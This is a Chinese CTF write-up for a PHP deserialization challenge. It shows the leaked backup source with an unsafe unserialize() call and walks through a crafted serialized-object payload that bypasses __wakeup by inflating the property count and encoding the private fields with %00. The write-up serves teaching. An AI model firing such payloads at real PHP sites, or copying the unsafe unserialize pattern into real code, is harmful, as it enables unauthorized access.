[极客大挑战 2019]PHP
页面提示我有一个良好的备份网站的习惯
找一个备份的字典扫扫网站目录
下载这个压缩包www.zip
有几个文件
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
unserialize
很明显这是一个反序列化漏洞
echo $flag
条件是username === 'admin' and password == 100
生成序列化
<?php
class Name{
private $username='admin';
private $password='100';
}
$a=new Name();
echo serialize($a);
?>
//得到O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}
为了绕过__wakeup
,执行__destruct
,将2改成3,原理:变量个数大于原来的
O:4:"Name":3:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}
注意这里面有几个空格,把它换成%00,原理:私有变量前需要加个前缀0
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
最终payload
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}